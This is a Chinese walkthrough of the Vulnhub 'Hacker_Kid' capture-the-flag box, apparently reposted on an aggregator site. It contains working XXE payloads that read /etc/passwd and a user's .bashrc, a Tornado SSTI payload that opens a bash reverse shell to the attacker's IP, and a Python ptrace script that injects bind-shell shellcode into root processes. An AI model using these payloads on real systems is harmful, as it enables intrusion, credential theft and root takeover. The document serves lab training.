Vulnhub靶机:Hacker_Kid

一、介绍

运行环境:Virtualbox

攻击机:kali(10.0.2.15)

靶机:Hacker_Kid(10.0.2.42)

目标:获取靶机root权限和flag

靶机下载地址:https://download.vulnhub.com/hackerkid/Hacker_Kid-v1.0.1.ova

二、信息收集

使用nmap主机发现靶机ip:10.0.2.42

在这里插入图片描述

使用nmap端口扫描发现,靶机开放端口:53、80、9999

在这里插入图片描述

80端口:打开网站没有发现什么有用的功能点,

在这里插入图片描述

9999端口:打开网站发现是一个登录界面

在这里插入图片描述

查看源码发现提示信息,需要使用page_no查看页面

TO DO: Use a GET parameter page_no to view pages.

在这里插入图片描述

尝试提交一个 GET 参数 page_no=1浏览页面,发现页面有变化,提示要挖的更深一点,可能是参数不对

在这里插入图片描述

我们使用burpsuite爆破参数,发现21参数

在这里插入图片描述

访问page_no=21,发现提示,需要使用子域名访问

在这里插入图片描述

好吧,你想让我说点什么?
我是一个黑客孩子,而不是一个愚蠢的黑客。所以我创建了一些子域,以便随时返回服务器!
在我的许多家中…一个这样的家…对我来说,一个这样的家:hackers.blackhat.local

将下面两条数据添加进/etc.hosts文件里面

10.0.2.15        hackers.blackhat.local
10.0.2.15        blackhat.local

联想到靶机开放了53端口,我们可以使用dig来执行DNS搜索

dig hackers.blackhat.local @10.0.2.42

在这里插入图片描述

发现一个子域名,将该子域名添加入/etc.hosts文件里面,浏览器访问该子域名,发现是一个注册页面

10.0.2.15        hackerkid.blackhat.local

在这里插入图片描述

但直接注册注册不了

在这里插入图片描述

三、漏洞利用

使用burpsuite抓包看看,发现post 的数据包含 XML 格式,可以尝试探测是否存在XXE漏洞

在这里插入图片描述

因为,响应包返回的信息中,有email的值。

那么我么尝试构造payload来构造外部实体email处的注入,利用协议读取文件

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [
<!ENTITY xxes SYSTEM "file:///etc/passwd"> ]>
<root><name>tom</name><tel>1111111111111</tel><email>&xxes;</email><password>123456</password></root>

在这里插入图片描述

读取成功存在XXE漏洞,筛选出两个用户具有 /bin/bash

root:x:0:0:root:/root:/bin/bash
saket:x:1000:1000:Ubuntu,,,:/home/saket:/bin/bash

我们可以尝试读取saket用户的home目录里面的文件

/home/saket/.bash_history
/home/saket/.bash_logout
/home/saket/.bashrc

注意直接读取文件内容是读取不出来的,需要使用base64加密后输出

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [
<!ENTITY xxes SYSTEM "php://filter/read=convert.base64-encode/resource=/home/saket/.bashrc"> ]>
<root><name>tom</name><tel>1111111111111</tel><email>&xxes;</email><password>123456</password></root>

在这里插入图片描述

解密得到一个用户名密码

在这里插入图片描述

使用该用户名密码直接登录登录不了,想到该文件是放在saket用户的home目录下,可以将用户名改成saket试试

#Setting Password for running python app
username=“admin”
password=“Saket!#$%@!!”

saket:Saket!#$%@!!

登录成功

在这里插入图片描述

提示告诉他名字,尝试构造参数name,发现存在回显

在这里插入图片描述

根据nmap的扫描结果9999端口是tornado框架搭建的,tornado是一个用Python语言写成的Web服务器兼Web应用框架,可以尝试探测ssti注入漏洞,输入{{6*6}},回显36,存在ssti注入漏洞

在这里插入图片描述

尝试构造payload,需要寻找可以利用globals的函数,使用burpsuite爆破

在这里插入图片描述

使用eval函数执行命令

http://10.0.2.42:9999/?name={{().__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")}}

在这里插入图片描述

反弹shell,注意payload需要使用url编码

http://10.0.2.42:9999/?name={{().__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['__builtins__']['eval']('''__import__('os').system('bash -c "bash -i >& /dev/tcp/10.0.2.15/4444 0>&1"')''')}}

在这里插入图片描述
在这里插入图片描述

获取交互式shell

python3 -c 'import pty; pty.spawn("/bin/bash")'

在这里插入图片描述

四、提权

查看靶机是否存在特权命令或可利用的具有root权限的文件,发现/usr/lib/policykit-1/polkit-agent-helper-1文件,该版本的polkit具有提权漏洞,但靶机没有gcc环境。

sudo -l
find / -perm -u=s -type f 2>/dev/null

在这里插入图片描述

我们使用其他方法提权,我们可以查看saket用户目录下的.bash_history文件,该文件保存了用户的历史命令,发现靶机本地 5600端口开放这一个服务

在这里插入图片描述

查看本地端口占用信息,未看到有 5600 端口

在这里插入图片描述

我们可以使用下面的这条命令查找具有Capabilities特殊操作权限的程序

/usr/sbin/getcap -r / 2>/dev/null

在这里插入图片描述

发现/usr/bin/python2.7 = cap_sys_ptrace+ep

可以利用python具备的cap_sys_ptrace+ep 能力对root权限的进程注入python类型shellcode,以此实现权限提升。

提权脚本:

# inject.py# The C program provided at the GitHub Link given below can be used as a reference for writing the python script.
# GitHub Link: https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c import ctypes
import sys
import struct# Macros defined in <sys/ptrace.h>
# https://code.woboq.org/qt5/include/sys/ptrace.h.htmlPTRACE_POKETEXT   = 4
PTRACE_GETREGS    = 12
PTRACE_SETREGS    = 13
PTRACE_ATTACH     = 16
PTRACE_DETACH     = 17# Structure defined in <sys/user.h>
# https://code.woboq.org/qt5/include/sys/user.h.html#user_regs_structclass user_regs_struct(ctypes.Structure):_fields_ = [("r15", ctypes.c_ulonglong),("r14", ctypes.c_ulonglong),("r13", ctypes.c_ulonglong),("r12", ctypes.c_ulonglong),("rbp", ctypes.c_ulonglong),("rbx", ctypes.c_ulonglong),("r11", ctypes.c_ulonglong),("r10", ctypes.c_ulonglong),("r9", ctypes.c_ulonglong),("r8", ctypes.c_ulonglong),("rax", ctypes.c_ulonglong),("rcx", ctypes.c_ulonglong),("rdx", ctypes.c_ulonglong),("rsi", ctypes.c_ulonglong),("rdi", ctypes.c_ulonglong),("orig_rax", ctypes.c_ulonglong),("rip", ctypes.c_ulonglong),("cs", ctypes.c_ulonglong),("eflags", ctypes.c_ulonglong),("rsp", ctypes.c_ulonglong),("ss", ctypes.c_ulonglong),("fs_base", ctypes.c_ulonglong),("gs_base", ctypes.c_ulonglong),("ds", ctypes.c_ulonglong),("es", ctypes.c_ulonglong),("fs", ctypes.c_ulonglong),("gs", ctypes.c_ulonglong),]libc = ctypes.CDLL("libc.so.6")pid=int(sys.argv[1])# Define argument type and respone type.
libc.ptrace.argtypes = [ctypes.c_uint64, ctypes.c_uint64, ctypes.c_void_p, ctypes.c_void_p]
libc.ptrace.restype = ctypes.c_uint64# Attach to the process
libc.ptrace(PTRACE_ATTACH, pid, None, None)
registers=user_regs_struct()# Retrieve the value stored in registers
libc.ptrace(PTRACE_GETREGS, pid, None, ctypes.byref(registers))print("Instruction Pointer: " + hex(registers.rip))print("Injecting Shellcode at: " + hex(registers.rip))# Shell code copied from exploit db.
shellcode="\x48\x31\xc0\x48\x31\xd2\x48\x31\xf6\xff\xc6\x6a\x29\x58\x6a\x02\x5f\x0f\x05\x48\x97\x6a\x02\x66\xc7\x44\x24\x02\x15\xe0\x54\x5e\x52\x6a\x31\x58\x6a\x10\x5a\x0f\x05\x5e\x6a\x32\x58\x0f\x05\x6a\x2b\x58\x0f\x05\x48\x97\x6a\x03\x5e\xff\xce\xb0\x21\x0f\x05\x75\xf8\xf7\xe6\x52\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x8d\x3c\x24\xb0\x3b\x0f\x05"# Inject the shellcode into the running process byte by byte.
for i in xrange(0,len(shellcode),4):# Convert the byte to little endian.shellcode_byte_int=int(shellcode[i:4+i].encode('hex'),16)shellcode_byte_little_endian=struct.pack("<I", shellcode_byte_int).rstrip('\x00').encode('hex')shellcode_byte=int(shellcode_byte_little_endian,16)# Inject the byte.libc.ptrace(PTRACE_POKETEXT, pid, ctypes.c_void_p(registers.rip+i),shellcode_byte)print("Shellcode Injected!!")# Modify the instuction pointer
registers.rip=registers.rip+2# Set the registers
libc.ptrace(PTRACE_SETREGS, pid, None, ctypes.byref(registers))print("Final Instruction Pointer: " + hex(registers.rip))# Detach from the process.
libc.ptrace(PTRACE_DETACH, pid, None, None)

脚本的作用就是对root权限的进程注入python类型shellcode,利用pythono具备的cap_sys_ptrace+ep 能力实现权限提升,该脚本如果执行成功,会在靶机的本地监听5600端口,我们也可以修改shellcode部分让其监听其他端口。

将脚本文件上传到靶机

本地:service apache2 start     
靶机:wget http://10.0.2.15/inject.py

因为需要找root进程进行注入,所以简单写个shell脚本对root进程进行批量尝试

for i in `ps -ef|grep root|grep -v "grep"|awk '{print $2}'`; do python2.7 inject.py $i; done

在这里插入图片描述

脚本执行完毕,可以查看本地是否开启了 5600 端口

netstat -tunpla |grep 5600

在这里插入图片描述

直接使用nc连接,获取root权限

nc 127.0.0.1 5600

在这里插入图片描述

未发现flag

参考链接:vulnhub靶场——Hacker-Kid-v1-0-1_hacker_kid-CSDN博客

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/491853.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

信息抽取(UIE):使用自然语言处理技术提升证券投资决策效率

一、引言 在当今快速变化的证券市场中&#xff0c;信息的价值不言而喻。作为一名资深项目经理&#xff0c;我曾领导一个关键项目&#xff0c;旨在通过先进的信息抽取技术&#xff0c;从海量的文本数据中提取关键事件&#xff0c;如企业并购、新产品发布以及政策环境的变动。这些…

【openGL教程08】基于C++的着色器(02)

LearnOpenGL - Shaders 一、说明 着色器是openGL渲染的重要内容&#xff0c;客户如果想自我实现渲染灵活性&#xff0c;可以用着色器进行编程&#xff0c;这种程序小脚本被传送到GPU的显卡内部&#xff0c;起到动态灵活的着色作用。 二、着色器简述 正如“Hello Triangle”一章…

常用实验室器皿耐硝酸盐酸进口PFA材质容量瓶螺纹盖密封效果好

PFA容量瓶规格参考&#xff1a;10ml、25ml、50ml、100ml、250ml、500ml、1000ml。 别名可溶性聚四氟乙烯容量瓶、特氟龙容量瓶。常用于ICP-MS、ICP-OES等痕量分析以及同位素分析等实验&#xff0c;也可在地质、电子化学品、半导体分析测试、疾控中心、制药厂、环境检测中心等机…

Linux之JAVA环境配置jdkTomcatMySQL

目录 一. 安装jdk 1.1 查询是否有jdk 1.2 解压 1.3 配置环境变量 二. 安装Tomcat&#xff08;开机自启动&#xff09; 2.1 解压 2.2 启动tomcat 2.3 防火墙设置 2.4 创建启动脚本&#xff08;设置自启动&#xff0c;服务器开启即启动&#xff09; 三. MySQL安装&#xff08;…

力扣思路题:丑数

此题的思路非常奇妙&#xff0c;可以借鉴一下 bool isUgly(int num){if(num0)return false;while(num%20)num/2;while(num%30)num/3;while(num%50)num/5;return num1; }

α-酮戊二酸钙(CaAKG)应用领域广泛 食品级CaAKG市场需求旺盛

α-酮戊二酸钙&#xff08;CaAKG&#xff09;应用领域广泛 食品级CaAKG市场需求旺盛 α-酮戊二酸钙&#xff08;CaAKG&#xff09;是α-酮戊二酸&#xff08;AKG&#xff09;的钙盐&#xff0c;外观呈白色结晶粉末。   α-酮戊二酸是三羧酸能量代谢&#xff08;TCA&#xff0…

Unity3D 使用 Proto

一. 下载与安装 这里下载Google Protobuff下载 1. 源码用来编译CSharp 相关配置 2. win64 用于编译 proto 文件 二. 编译 1. 使用VS 打开 2. 点击最上面菜单栏 工具>NuGet 包管理器>管理解决方案的NuGet 管理包 版本一定要选择咱们一开始下载的对应版本否则不兼容&am…

vue基础操作(vue基础)

想到多少写多少把&#xff0c;其他的想起来了在写。也写了一些css的 input框的双向数据绑定 html <input value"123456" type"text" v-model"account" input"accou" class"bottom-line bottom" placeholder"请输入…

vim恢复.swp [BJDCTF2020]Cookie is so stable1

打开题目 扫描目录得到 关于 .swp 文件 .swp 文件一般是 vim 编辑器在编辑文件时产生的&#xff0c;当用 vim 编辑器编辑文件时就会产生&#xff0c;正常退出时 .swp 文件被删除&#xff0c;但是如果直接叉掉&#xff08;非正常退出&#xff09;&#xff0c;那么 .swp 文件就会…

leetcode:491.递增子序列

1.误区&#xff1a;不能直接对数组排序再求解子集&#xff0c;因为那样就改变了原有数组的顺序 2.树形结构&#xff1a;一个一个取数&#xff0c;然后保证是递增序列&#xff0c;且不能重复。&#xff08;数层上不可以重复取&#xff0c;树枝上可以重复取&#xff09;收集的结…

【android】android studio生成aar包并在其他工程引用aar包(类/函数/activity)

android studio生成aar包并在其他工程引用aar包 arr引用和jar引用的区别1.ARR实现简单的JAVA/Kotlin类和函数调用过程1.1.新建需要打包成AAR的模块类1.2.新建需要调用的类1.3 创建 AAR 文件&#xff1a;1.4 AAR文件使用1.5 函数调用 2.实现AAR中activity的调用过程2.1 **特别说…

互联网加竞赛 机器视觉opencv答题卡识别系统

0 前言 &#x1f525; 优质竞赛项目系列&#xff0c;今天要分享的是 &#x1f6a9; 答题卡识别系统 - opencv python 图像识别 该项目较为新颖&#xff0c;适合作为竞赛课题方向&#xff0c;学长非常推荐&#xff01; &#x1f947;学长这里给一个题目综合评分(每项满分5分…